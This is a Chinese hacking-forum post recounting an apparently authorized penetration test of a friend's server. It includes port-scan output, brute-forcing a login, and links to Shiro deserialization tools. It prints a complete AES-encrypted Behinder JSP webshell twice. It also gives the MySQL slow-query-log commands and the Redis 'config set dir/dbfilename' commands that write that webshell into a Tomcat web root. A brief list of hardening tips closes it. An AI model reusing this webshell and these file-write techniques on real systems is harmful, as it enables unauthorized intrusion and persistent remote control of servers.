电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 933 人浏览分享

踩坑版渗透:记某次授权测试

[复制链接]
933 0
信息收集

朋友闲聊中 提起想让我帮忙测试下网站的安全性 毕竟好久不做这事 有点手生于是朋友把站
点告诉了我前部分正常步骤搜集信息 查看ip端口。

PS:本文仅用于学习交流,严禁用于任何非法用途 违者后果自负 与本站及作者无关。

99.JPG

解析出来发现*.*.19*.102,

扫一波端口发现

21/tcp  open

80/tcp  open  http          Microsoft IIS httpd 10.0

6379/tcp open

8085/tcp open  http          nginx 1.16.1  tianhe

8089/tcp open  http          404

8098/tcp open  http          404

一看开放服务还不少,挨个来 抓一波redis。

98.JPG

敏感地发现好像有弱密码 直接网站上去试试。还真给我找到了一个**管理系统祭出我强大的字典
再搞一搞朋友名字的社工,使用burp的intruder。
哈哈哈  不出我所料怼了两分钟就怼进去了 而且还是超管。这里就不放过程图了:

97.JPG

到处翻了翻 发现是开发环境。

系统文件上传:

其中有些上传点 竟然接收PUT方法 直接上传 改文件名后缀 内容 burp走一波:

96.JPG

诶 不对 竟然过不去  好家伙!

93.JPG

返回于:

92.JPG

  1. Failed to parse multipart servlet request; nested exception is jav
  2. a.io.IOException: The temporary upload location
复制代码

java报错,原因是没有该目录 好的吧 记住使用jsp了。用冰蝎的加密马。
  1. <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoa
  2. der c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().
  3. equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.in
  4. it(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.B
  5. ASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
复制代码

mysql日志写入:

漫游系统中发现有sql数据库管理貌似是直接拼装sql语句的:

尝试mysql的骚操作-慢日志写入webshell:
  1. SHOW VARIABLES LIKE "%slow_query_log%";
复制代码

正常的话还可以类似:
  1. set global slow_query_log=1;
  2. set global slow_query_log_file='C:\\Tomcat\\webapps\\ROOT\\conf-back.jsp';
  3. select ' <%@page import="java.util.*,javax.crypto........一句话木马' or sleep(11);
复制代码

91.JPG

WTF???解析错误??又白高兴了一场,抓了个包看看:

90.JPG

原来是url编码拼接了而且使用解释器接收语句进行处理 算了 谁让我这么菜呢给
朋友做了太多日志不太好交差。

shiro反序列化:

分析数据包发现响应有rememberMe=deleteMe标识于是想到最新的shiro反序列化。

89.JPG

拿出我的工具试一下:

工具地址:
https://github.com/fupinglee/ShiroScan/releases
https://github.com/fupinglee/ShiroScan/releases/tag/v1.1
https://github.com/fupinglee/JavaTools/tree/master/Shiro#v20
https://github.com/wh1t3p1g/ysoserial
https://github.com/frohoff/ysoserial
https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ

88.JPG


我去 不对劲 仔细一看,原来请求数据包只带to**标识。不使用co**ie 于是直接放弃。

redis未授权:

哎呦 一个小站还很牢固 没事 还有别的端口 想起来刚看见的redis。很常见的redis未授权访问。
但是redis未授权只能写入文件 linux可写公钥 写计划任务反弹。wndows就只能写webshell了
但还有一个现实问题,需要获取真实目录。

于是本菜又在网站里漫游了一波 终于被我发现一个目录浏览功能!

87.JPG

但是当前网站的根目录是不可能访问的 只能解析到其余的盘 于是搜罗了一波。

好像发现了了不得的事情!竟然有某大厂杀毒!

86.JPG

那我得小心了 好多东西需要免杀。
发现好多个tomcat 联想到端口汇总8089和8098都开放但是404 这就正常了只是测
试站点需要特定目录才能访问。
于是挨个试 终于发现一个aico***的目录:

83.JPG

访问8089发现:

82.JPG

还等什么 试试redis写入功能。可以的话直接免杀webshell:

81.JPG

发现有权限 于是本地搭建环境测试冰蝎马:

80.JPG

可以放心地使用了:
  1. (redis写入字符要用“\”转义)
  2. config set dir "C:\\Program Files\\******\\*****\\ROOT"
  3. config set dbfilename "index-back.jsp"
  4. set xxx1xxx "\<\%\@page import\="java\.util\.\*\,javax\.crypto\.\*\,javax\.crypto\.spec\.\*"\%\>\
  5. <\%\!class U extends ClassLoader\{U\(ClassLoader c\)\{super\(c\)\;\}public Class g\(byte \[\]b\)\{re
  6. turn super\.defineClass\(b\,0\,b\.length\)\;\}\}\%\>\<\%if \(request\.getMethod\(\)\.equals\("POS
  7. T"\)\)\{String k\="e45e329feb5d925b"\;session\.putValue\("u"\,k\)\;Cipher c\=Cipher\.getInst
  8. ance\("AES"\)\;c\.init\(2\,new SecretKeySpec\(k\.getBytes\(\)\,"AES"\)\)\;new U\(this\.getClass\
  9. (\)\.getClassLoader\(\)\)\.g\(c\.doFinal\(new sun.misc.BASE64Decoder\(\)\.decodeBuffer\(request\
  10. .getReader\(\)\.readLine\(\)\)\)\)\.newInstance\(\)\.equals\(pageContext\)\;\}\%\>"
复制代码

69.JPG

当然最后别忘了复原:

68.JPG

访问该页面 没有报错。

66.JPG

冰蝎连接

62.JPG

最后终于松了一口气 总算不是没有啥都没干成,然后整理一下报给朋友 顺便提了
几个建议:别把测试服务公开在公网 可以设置白名单访问。
朋友说这是在公网的单一服务器。没有域环境或者工作组 于是就没有了后续步骤 不过朋友说你运气好就这
个服务是管理员权限。其他都是普通用户……我表示 其实我也试了很多 哈哈哈。

总结

总结几点:

避免设置弱密码,使用复杂密码提高测试业务的安全性。

非必要的服务不要暴露在公网。

业务开发时对登录cookie进行加密避免使用单纯的token校验用户。

常用业务使用普通用户启动….

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.